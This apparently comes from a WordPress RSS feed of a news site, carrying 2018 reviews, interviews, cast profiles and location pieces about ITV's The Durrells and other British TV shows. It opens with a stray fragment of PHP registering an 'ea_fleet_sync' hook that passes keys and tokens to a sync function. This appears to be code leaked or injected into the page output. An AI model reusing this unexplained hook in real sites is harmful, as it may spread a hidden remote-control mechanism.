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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Durrells – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Mar 2018 21:00:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Durrells – Brief News https://briefnews.eu 32 32 The Durrells: A sunny winter holiday from the comfort of your home https://briefnews.eu/the-durrells-a-sunny-winter-holiday-from-the-comfort-of-your-home/ https://briefnews.eu/the-durrells-a-sunny-winter-holiday-from-the-comfort-of-your-home/#respond Sun, 25 Mar 2018 21:00:06 +0000 http://briefnews.eu/the-durrells-a-sunny-winter-holiday-from-the-comfort-of-your-home/

The Durrells ITV

The Durrells’ story needs to go somewhere

Not only that but research will soon show that ITV Sunday night viewers suffer fewer cases of seasonal affective disorder.

They each also delight in the practice of redefining how little plot you can have in an episode of rather gentle drama that you would be happy to show a Victorian maiden aunt.

First, The Durrells. did I start somewhere in the middle of the series? It felt like episode three. Louisa (Keeley Hawes) was penning a letter in the baking sun while telling everyone how happy they all were.

Fine, lots of people are happy but, generally speaking, they don’t make a drama from it. Thankfully, things became unhappier. Margo couldn’t find anything to do, Larry fell over something, while Leslie was forced by his mother to choose between the three women he was entertaining.

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Gerry, of course, continued to potter about with his “endless sodding animals”.

I’m not saying the series is heading for a cliff edge but the new season certainly didn’t open with a bang. OK, Leslie had to make a decision between the three pretty girls, when generally the only thing he exercises his mind over is whether to fire one shot or two at anything flying overhead.

“I was just waiting for natural wastage…” he offered. Again, the script was pinpoint with many good lines. “Do you know why they [flamingos] stand on one leg?” asks Gerry. “A bet?” Louisa replies.

Perhaps expectations were too high. The first two series have been delightful, well-acted and beautifully shot. But the story will have to go somewhere, because televised sunbathing – with the exception of love Island – is yet to be made into compelling television.

If anyone cares, there’s still no reality about their situation either. no one does any work and there always appears to be food on the table. Although they have gone vegetarian now. Perhaps we will see them wasting away, declaring, “not another stuffed vine leaf.”

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The Good Karma Hospital did have an exciting appendectomy. Ruby’s diagnosis proved correct, which was a relief to us all.

They can now expect a huge amount of health tourism, especially to the “incontinence clinic”. There might even be a run on their services.

The staff will need to overcome their tendency to be hugely sexist, however.

Amanda Redman’s formidable Dr Lydia Fonseca declared, apropos of nothing: “Being born with a penis is a huge disadvantage.”

This #MeToo thing is out of control.

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For sheer grim, I chose Contagion (BBC Four, Thursday). It was as depressing as it was interesting. In short the BBC is helping the NHS to prepare for a serious pandemic of flu by having us download a new app. I knew my smartphone would become useful eventually.

I also learnt that the next flu epidemic will start in Haslemere, in deepest Surrey, shortly before afternoon tea. Sorry, that’s the next fictional epidemic.

This attractive, leafy town was chosen by first-rate presenter Dr Hannah Fry to demonstrate what would happen when a “super spreader” emerges. We know the type. A real busybody who can’t help spreading terrible gossip about people. Well, it’s not them.

It’s someone with this new, yet-to-be-seen, superbug who is going about their normal business while coming into contact with lots of people in the local hardware store.

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In this case it was poor innocent Justine, an assistant in the store, who managed to give the disease to eight people. And to think, one of them had only wanted four candles.

Crunched numbers are normally not too scary unless you’re looking at a pension statement. But these were truly alarming.

Because a vaccine wouldn’t be available for four months, the “modelling” showed that 43 million of us would be infected throughout the country – apart from those in remotest Scotland – and of those more than 886,000 would die.

But there was goodish news among an appalling toll of fictional misery. one, it may never happen (my reckoning), and more relevantly, if you wash your hands eight to 10 times a day during a massive flu epidemic (while no doubt crying over the wash basin), not only will you run out of soap but 13 million more people will escape infection. Maybe.

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Unspun With Matt Forde (Dave, Sunday & Wednesday) has ended another excellent series on a huge high. He interviewed the shortest-reigning White House press officer in history, Anthony Scaramucci.

Like the polished spin doctor that he is (although not good enough to keep his job beyond 11 days), the suave New York-Italian was entertaining and revealing. He also spun himself so well in front of the audience that I actually thought he was a democrat which, indeed, he was at one point, having gone to college with former President Barack Obama.

He then became a donor to Donald Trump and eventually found his way into the oval office. For a whole 11 days.

It was a fascinating insight into an unbelievable White House and Scaramucci, known as “The Mooch”, wears his disappointment lightly. I expect he will grin his way into his next post – “I’m more of a front stabber”.

We wish him well! Only in a Donald Trump White House…

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Gerald Durrell’s best seller, My Family And Other Animals, was adapted by Simon Nye for the series

“Jersey is considered the South Sea Island of the British Isles,” she tells me. “And yes, the sun is shining now.”

American-born Lee married Gerald in 1979 after his divorce from first wife Jacquie. Now 68, she looks after the wonderful legacy left by this gifted writer and inspired naturalist whose runaway bestseller, My Family And Other Animals, was adapted by Simon Nye for the series on ITV, returning tonight.

“I was delighted with the series from the very first time I saw the programmes,” she says. “It really is good family television, and there’s not a lot of that about at the moment, so there was a niche to be filled and Gerry’s story – a story about a family in Corfu – was a perfect way to fill that.”

Durrell wrote that, “living in Corfu was rather like living in one of the more flamboyant and slapstick comic operas”.

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And that’s exactly how it’s captured by Nye.

When the family moved there Larry was 23, Leslie 19, Margo 18 and Gerry just 10.

My Family And Other Animals, published in 1956, not only became a set text for many schoolchildren in the UK and throughout the Commonwealth but sold more than five million copies; an irony given that his brother Lawrence, who began as a writer (as seen in the series), had nothing like the success of his sibling.

“That’s probably true,” says Lee, “but the thing about Lawrence is that he adored Gerry and he encouraged Gerry to write. That has yet to come out in the series.”

“When they all grew up, and Gerry did his expeditions, it was Lawrence who said, ‘You’ve got to write. You’ve got so much material here’. Gerry kept saying, ‘No, I haven’t got enough material’, but when he sat down to write it, there was enough for three books!”

Gerry had an incredible memory, she reveals. “I wouldn’t say it was ‘total recall’ but it was close to that. Most of his accounts of locations and conversations in Corfu were spot-on.” She adds, “It’s a very amusing, light-hearted book.

“It’s just a lot of fun and one of the main things about the Durrell family in Corfu was that they had fun. There were lots of serious things going on as well but they enjoyed life in a family surrounded by love and laughter. And it’s a wonderful time to recreate.”

Matriarch Louisa Durrell, played by Keeley Hawes, went to live at the zoo that Gerry set up in 1959, funded by sales of his best-seller.

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Lee was delighted with the series and how it portrayed the Durrell family

“He always promised his mother,” says Lee, “that he would give her a cottage in the zoo which he hoped he would eventually have. So she came to live with Gerry and his first wife Jacquie in the manor house from where I’m speaking to you now, which is the headquarters of Jersey Zoo and the Durrell Conservation Trust.

“Gerry and Jacquie moved into the flat and his mother came to live with them in the house. He would always be bringing in sick animals to look after including his chimpanzee, Chumley, whom he cared for as a youngster.”

So it was Corfu all over again?

“Yes, in a funny way, you’re right. It was very small, there was very little money, but Gerry always had this fixed central idea of conservation and protecting the animal kingdom. It was Gerry’s pioneering actions that proved that zoos could be so much more than places of entertainment for people.”

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Louisa Durrell died in 1964 and Lee says: “One of my great regrets is that I never met her. The great thing is that Louisa was able to see the Trust set up in 1963, which would support Gerry’s vision of conservation. She saw Gerry fulfil his dream.”

Margaret Durrell, known as Margo, also supported the zoo. “Her sons, Gerald [named after his uncle] and Nicky, helped to build it. Gerald had a background in construction, so he was a great help.”

Lee says: “The thing about Margo was that while the others decided to leave Corfu with the war approaching, she stayed there with a peasant family, sort of incognito. And it was there she met the man she married – Jack Breeze – who, I believe, was a pilot with the old BOAC airline. When she finally returned to England, she bought the house across the street in Bournemouth where the Durrells had lived in the early 1930s.

“Eventually, she ran it as a boarding house for rather eccentric people. She wrote a book about it, Whatever Happened To Margo, which is being republished.”

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Uncle Gerry & Jacqui Durrell setting up zoo in Margo’s back garden

Slightly less is known about gunwielding brother Leslie, who died in 1983 and became an elusive figure.

He didn’t visit the zoo, reveals Lee: “I never met Leslie but I do know he took up farming in Kenya. Gerry always said he was such a good draughtsman, which doesn’t really come through in the series.”

Leslie wasn’t blessed with good fortune. According to Margo’s book, he used his inheritance to set up a boat business, investing it in a fishing trawler that sank before its maiden voyage out of Poole Harbour.

Some reports suggest that many years later, none of his siblings attended his funeral. Larry, who died in 1990, was much more keen on the zoo and trust.

“He visited many times while I was on board. He was very proud of Gerry and his achievements. He was always joking about it, of course, but he was also one of Gerry’s greatest champions. And vice-versa.”

“Larry had a farmhouse in the south of France, which was where he ended up. Eventually he sold it to Gerry and me and moved about half an hour away. We’d go down for a few months in the summer and a couple of times in the winter and would pay him a visit.

“They wouldn’t read each other’s manuscripts but they would certainly give each other the first editions of what they did publish. Both had that ability to be poetic with the English language, albeit on very different subject matter.”

She adds: “The thing about writing, for Gerry, was that he said he would just write enough to allow him to do his conservation work. He had real vision.”

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Zookeeper and naturalist Gerald Durrell and his wife, stroking thirteen year old cheetah ‘Prince’ at

Lee believes her late husband would have loved the ITV series: “His beloved Corfu is so beautifully depicted. He would certainly have liked himself because Milo [Parker, who plays Gerald] does get into the animals. Gerry would have loved that.”

Does watching the series sadden her?

“No, not at all. It’s a joyous series, and I look forward to it as much as anybody else. I’m very glad that Gerry was there, and did what he did.”

The Durrells, ITV, today, 8pm; For information on the Durrells Conversation Trust visit durrell.org

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Season three of The Durrells, set in the sun-soaked idyll of Corfu in Greece, will be starting on ITV tomorrow night (March 18) at 8pm.

This will be the longest run of the show with a total of eight episodes, two more than the previous seasons.

The Durrells takes its cue from a trilogy of memoirs penned by real-life conservationist Gerald Durrell about his life in Corfu after his mother relocated the family from Bournemouth in the 1930s.

BAFTA nominee and The Durrells creator Simon Nye has written all eight instalments of the latest run of the show.

The ITV drama will pick up from the last season, this time Louisa Durrell (played by Keeley Hawes) has decided to give up on her search for love and focus on caring for her unruly brood.

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Meanwhile, novelist Larry Durrell (Josh O’Connor) will be struggling to write his third book.

His sister Margot Durrell (Daisy Waterstone) will be looking for a new vocation as she attempts to give her life purpose.

Gun-loving Leslie Durrell (Callum Woodhouse) will be turning his attentions to the fairer sex on the Greek island as he tries to juggle three different girlfriends.

As usual Gerald Durrell (Milo Parker) will be continuing to add to his rapidly expanding menagerie of animals, much to the annoyance of the rest of the family.

Here’s everything you need to know about the cast of The Durrells season three.

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The cast of ITV comedy The Durrells season 3

Who is in the cast of The Durrells season 3?

Louisa Durrell – Keeley Hawes

Leading the cast as matriarch Louisa Durrell is Keeley Hawes, best known for her roles in Tipping the Velvet, Spooks, Line of Duty and Ashes to Ashes.

Speaking about returning to the show, the 42-year-old British actress said: “There’s always a sense of achievement. This time we’ve filmed eight episodes for the first time, instead of six.

“So along with the tiredness is a great sense of satisfaction that you have made eight hours of television. It’s a lot. And when it’s as good as The Durrells is – which I believe it is – that’s really nice.”

She continued: “Particularly when you’re back for a third series. You know people like it and everyone has worked out what works and what doesn’t work.

“I feel we’re all in very capable hands with everyone who makes The Durrells. So, hopefully, it’s just got bigger and better and people will like it.”

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Keeley Hawes as Louisa Durrell in The Durrells season 3

Larry Durrell – Josh O’Connor

Josh O’Connor of Peaky Blinders and Doctor Who fame is back as novelist and intellectual Larry Durrell.

The actor, 27, said of his character’s story arc in season three: “Larry is in the process of writing another novel. He has tried to move away from the family and that didn’t go as well as he would have liked.

“On Larry’s mind is this thing of him being the father in this family in a way. So that obsession about finding his mother a partner is, perhaps, about shifting responsibility a little bit and trying to find his own independence.”

He added: “There’s an air of that in this series. We find Larry settling back into family life with a new outlook. And then we see him falling back into his old ways.”

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Josh O’Connor as Larry Durrell in The Durrells season 3

Leslie Durrell – Callum Woodhouse

Up-and-coming star Callum Woodhouse resumes the part of Leslie Durrell, who loves nothing more than guns and girls.

“As we start the new series Leslie is probably in one of the happiest situations we’ve seen him in so far. He’s playing the Casanova of Corfu a little bit, balancing his time between three girls,” Woodhouse explained.

The 24-year-old star went on to say: “Obviously in typical Durrells’ fashion, the family get involved and it all goes terribly wrong.

“A lot of scenes where the family are meddling in Leslie’s affairs were shot without me, so I’m really looking forward to seeing them.

“It’s always a joy watching everyone else on screen. I’m genuinely a fan of everybody in the show. They’re all so good.”

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The cast of ITV comedy The Durrells season 3

Margo Durrell – Daisy Waterstone

Daisy Waterstone, who’s had roles in Channel 4’s Cyber Bully, film Testament of Youth and Silent Witness, is back as the only daughter of the Durrell clan.

She revealed what audiences could expect from her character, saying: “Margo has ditched her boyfriend and still hasn’t got a job after leaving the Countess at the end of series one.

“So she’s being the normal Margo – trying to find new hobbies and gets into soap sculpting.

The 23-year-old elaborated: “She does all these new bizarre things until she finally manages to find a job in an X-ray unit and also as a part-time nanny.

“She’s become very adaptable and figured out what it is she is good at and the things she can do. It’s just her growing up, really.”

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Milo Parker as Gerald Durrell in The Durrells season 3

Gerald Durrell – Milo Parker

Young star Milo Parker resumes his part as the teenage version of naturalist and animal lover Gerald Durrell.

The 15-year-old actor said of the forthcoming episodes: “We see Gerry growing up in this series. He is faced with the typical issues that come with entering the teenage years.

“His hormones mean he’s quite snappy and Gerry has arguments with Louisa this year.

“He also gets his first girlfriend. From their first meeting, Gerry is attracted to Galini and wants to spend some time alone with her.

“However, his friend Theo is getting in the way a bit. So that leads to quite a difficult conversation between Gerry and Theo.”

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The supporting cast members will be back again with Alexis Georgoulis as Spiros Halikiopoulos, Yorgos Karamihos as Dr. Theo Stephanides and Lucy Black as Florence.

Also back in the frame will be Anna Savva as Lugaretzia, Ulric Von Der Esch as Sven Lundblad, Game of Thrones actor James Cosmo as Creech and Leslie Caron as the Countess Mavrodaki.

Season three will also see some new face with Howard’s End and The Crown actor Miles Jupp, Olivia Lebedeva-Alexopoulou as Gerald first girlfriend Galini, Henry Lloyd-Hughes from Indian Summers and The Inbetweeners, and Elli Triggou.

The Durrells season 3 starts on ITV on March 18 at 8pm.

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The Durrells look like they’re getting up to their usual adventures in the new series

The quartet of precocious but under-disciplined Durrell youngsters are constantly getting into scrapes, ignoring their mother’s advice or, in the case of young Gerry (Milo Parker), filling up the ramshackle family home with exotic pets.

Most mums would long for the day when such offspring would fly the nest and give her some peace.

And yet in the third series of The Durrells, which starts this week, Louisa finds it difficult to cope with the idea of her little ones pulling away from her.

And mum-of-three Keeley feels exactly the same. “There’s a line in the script about how every year the children all move further away from Louisa,” recalls Keeley, 42.

“It talks about, ‘The last time I brush your teeth for you, the last time you let me hold your hand as we cross the road.’ It’s heartbreaking! And it’s so true. I do remember the last time I brushed my children’s teeth for them.

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“Our writer, Simon Nye, is so good at that because he’s got children, been there and done it. He deals with all of that so beautifully.”

Keeley knows all about it, too, as mum to Myles, 17 (from her first marriage), and Maggie, 13, and Ralph, 11, with her husband, actor Matthew Macfadyen.

Watching her youngest leave childhood innocence behind is particularly painful for Louisa. Keeley says the most moving scenes of the series – set in Corfu in the 30s and based on Gerald Durrell’s books – were those involving young animal-collector Gerry, played by Milo Parker.

“It’s been really exciting for Milo,” says Keeley.

“He’s had some lovely scenes where Gerry is changing and growing up. I think it’s addressed in a brilliant way, and anyone with an angry adolescent will be very sympathetic! It’s a learning curve for all of us.

“There’s one scene with Gerry involving a poem he’s written about his mother. And I can’t even read the scene without crying my eyes out. It always has this added layer, when you know these were real people. It’s heart-wrenching, but they are some of my favourite scenes. Louisa knows Gerry will grow up and has to accept it – eventually, Louisa’s children did fly the nest.”

But not quite yet. As we revisit the Durrells in sun-soaked Corfu, Louisa’s brood is still around to infuriate her – and for her to meddle with. After several disastrous romances of her own – Louisa nearly married a gay man, and her last lover tried to wrench her away from Corfu – she decides instead to get involved in son Leslie’s (Callum Woodhouse) love life after discovering that he has three girlfriends on the go.

A disapproving Louisa sticks her nose in, much to Leslie’s mortification.

But Callum Woodhouse explains that Leslie’s boorish behaviour is more forgivable than Louisa finds it.

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Despite living in luxury on Corfu, Keeley’s character manages to find difficult situations

“It’s obviously a very bad thing he’s doing, and I thought that as I was reading it,” says Callum.

“But when I got to why he does it and his insecurities about himself, I empathised with him. It’s good to explore a vulnerable side to Leslie we haven’t seen before.”

As for Louisa’s other children, Larry (Josh O’Connor) is writing his third novel, but Margo (Daisy Waterstone) is restless, looking for something to occupy herself.

“Margo gets into soap sculpting as a way to pass the time, and generally everyone thinks she’s mad,” explains Daisy with a laugh.

“Eventually, Margo discovers that Theo [Yorgos Karamihos] has started this X-ray unit at the doctor’s surgery and she volunteers to work there. She’s quite good at it.”

And as the series progresses, viewers will wonder if Louisa’s love life is as dead as all that.

Although a relationship with married friend-of-the-family Spiro (Alexis Georgoulis) is out of the question, the pair are clearly attracted to each other.

“We go a bit deeper into their relationship in this series, which is very exciting and easy to play, because Alexis is brilliant,” says Keeley.

“We get on so well and really enjoy those scenes.” But she admits that their on-screen relationship has a bittersweet flavour.

“Louisa and Spiro would be so good together. They’re both wonderful people, but Louisa would never go there because he’s married, with a couple of children. It’s 1937 and a very different time. But wait and see what happens.”

Matters come to a head when Spiro puts Louisa’s nose out of joint – he welcomes a new family, of Italians, to the island just as warmly as he welcomed the Durrells.

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“Louisa questions whether Spiro is really her best friend, or if he’s just being polite, as he is to the new family,” explains Keeley.

“It really throws her. She becomes very jealous and competitive with them.”

Ultimately, however, things will work out for the best. That’s the optimistic message of The Durrells, whose sun-drenched Greek vistas can’t help but warm up the coldest of Sunday evenings.

Even with Louisa’s various heartaches, The Durrells is comforting telly.

“It’s like the Victoria sponge of TV, in the loveliest way,” quips Keeley.

“Because it is comforting, and you can forget about all those other things just for a little while.” 

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Visitors to the idyllic Greek destination can now take an escorted trip through the traditional village of Danilia where the show is filmed.

Said to be a “unique replica” of a Corfu settlement the picturesque, but deserted setting is used for the market scenes in the show starring Keeley Hawes.

It was built in the 1970s as an open-air museum for tourists, but was closed to the public for a number of years.

It’s where the family – Louisa, Larry, Leslie, Margot and Gerry – sell their home bakes, like Battenberg cakes, to the local Greeks under the ever watchful eye of Spiro.

The village is owned by the nearby Corfu Imperial Grecotel Resort, where many of the cast stay while shooting the popular drama.

Filming for the third series is currently underway, in which we’re promised more exotic animals, including a flamingo.

A spokeswoman for guest relations at the Corfu Imperial Grecotel Resort said: “We have owned the village since 2000.

Rather than turn it into a hotel, the Daskalantonakis family maintained the charm of an original Corfu town with open-air village squares, narrow lanes and an iconic church.

“If you are a hotel guest, you can visit Danilia on a small tour. It is where they film the big market on the show. It used to have a museum of clerical art.”

Asked if anyone still lives there, she replied: “Only the guards!”

The village was also a setting for the James Bond film For Your Eyes Only.

For a more authentic Durrell experience you could opt for The White House, in Corfu, where Gerald’s brother Lawrence lived with his wife for five years. It’s available for lettings, from 700 euros a week.

Daria Athinaios, who has owned the villa for 17 years with her husband Tassos, said: “It’s always fully booked but we do have some days in May and October. We only have the one villa [where Lawrence stayed], but there are other apartments. People say we will have to build another one!

“We all love the show here. They are currently casting for the next series. Everyone here wants to be in it, so they can see themselves on the TV.”

Rated 4.5 stars on Trip Advisor, the bayside accommodation in Kalami has four bedrooms, a balcony overlooking the beach, and its own adjoining, well-reviewed taverna.

One visitor commended the rental: “If you are interested in the Durrell family then this is a must visit place to go. Lawrence Durrell lived and wrote here and was often visited by Henry Miller [American author].”

Another suggested: “If you stay at the White House Villa you should read Durrell’s Prospero’s Cell which is a nostalgic memoir about his 5 years living there.”

The house where The Durrells is actually filmed in Corfu is not available to rent.

An ITV spokeswoman said: “It’s not liveable. It’s only used for exterior shots.”

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All the shows that used to go out either in the dying days of autumn or in the winter are on the box now. The Durrells (ITV, Sunday), Grantchester (ITV, Sunday) and soon Poldark – all period dramas – are shows we associate with a cosy Sunday evening’s viewing in front of a blazing radiator. So it’s jam today apparently. Rejoice?

Well, let’s see what we have as replacements in the autumn. 

It’s impossible to dislike The Durrells. 

It’s also the best thing to happen to Greece since Nana Mouskouri. Sun, sand and “Roger the Dog” are bringing joy to Sunday nights, regardless of when ITV wants to broadcast it. And for those who are quite fussy about their animal dramas, we have “otter excreta” for you. Put that in your pipe. 

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This is faultless period drama, beautifully shot, edited and with an evocative soundtrack that spirits you away to Corfu every Sunday night. It’s not really about anything, which we applaud. That would defeat the purpose of Sunday nights. 

Last week the most important piece of plot saw Louisa (Keeley Hawes) cooking dodgy Scotch eggs (aren’t they meant to be?), which she was trying to sell to unsuspecting Greeks. This delicacy had apparently been poisoned by the Durrell’s evil landlady, who suspected Louisa was a love rival. “You English… you treat us like slaves!” she shrieked at Louisa’s daughter Margo. And your problem is? 

Then, shockingly, poor Roger the Dog got himself shot by son Leslie, who firmly believes that the way to bring a family together is to spray bullets around the living room. 

Still, I admired his Brexit-like strategy for selling English goods to foreigners. “COME AND BUY!” he bellowed. Meanwhile, Margo became infatuated by a friendly monk. “I love the way you talk about love and beauty,” she told him, breathily. He looked deeply in her eyes and replied: “God is my girlfriend…”. We can expect great things from this relationship.

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I have ceased to expect great things from Grantchester. Are these the thinnest plots since Magic Roundabout? Actually it could do with a walk-on from Dougal. It might spur my interest. It’s main shortcoming – there are many – is that I simply don’t believe it. 

Right from the very first scene, I found very little reason to watch as the new archdeacon met Sidney (James Norton). Would our vicar, in the 1950s, really carry on with Mrs Hopkins, who is separated from her husband and has a new baby? Of course, not. 

As they got to know each other a little more while examining the inside of a darkened doorway, only true devotees of James Norton can have thought that this scene had any relevance to the story. From here on, he shall be known as “the snogging vicar”.

Without James Norton, you wonder whether this drama would ever have reached ITV’s baptismal. And why persist with Grantchester and axe something like the excellent Home Fires with better stories, performances and setting? 

If you can find a sub-plot in this series that doesn’t involve the snogging vicar swooning about like a lovelorn fool, you can have a newly varnished pew on me. The most creative thing in the episode was the name of the asylum, House Of The Feeble Minded, where most of the Grantchester storylines are kept.

Little Boy Blue (ITV, Monday) was the most harrowing hour of TV this year. This is not a good thing, nor do I think this drama was actually worth making. To watch doctors and nurses try to save the life of young Rhys Jones as his parents stood over him was as close to unwatchable as you can get. 

What is this scene meant to achieve, other than to ramp up the emotional investment from an audience over a tragedy that none of us will ever forget anyway? We don’t need reminding actually.

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I would much preferred to have watched a documentary about this case, rather than feel “manipulated” by this drama. Indeed, there is no drama here. What has happened since the case? Has gangland violence been tackled?

And so on. Just as in any crime case, it’s the suspects versus the police (how to gather the evidence). True crime rates, so ITV make it without a quibble. If it’s sensational, all the better. And to make matters worse, it’s always brilliantly done by Jeff Pope. 

It’s a perfect storm, all four hours of it. Having said all this I do hope the parents feel it is a fitting memorial to their son, who was simply riding across a pub car park when felled. 

AND finally, Top Gear (BBC2, Sunday) has been on. Didn’t notice? Nor did most people. Its ratings of a measly two million makes it as popular as a rerun of Triangle but not half as fascinating. Why so low? Because it’s incredibly dull. 

Presenter Chris Harris reviewed a fast Porsche sports car, during which I found myself thinking about doing the mowing. Twice. 

Then singer Jay Kay appeared to talk about having 50 cars. At one point, he was mooted as a presenter. Gosh, that was a near miss. 

Mind you, who could do worse than the current three chumps? At the end Matt Le Blanc, who “anchored” the final episode, said: “Have a good summer. See you soon.” If it’s all the same, I’m watching the grass grow.

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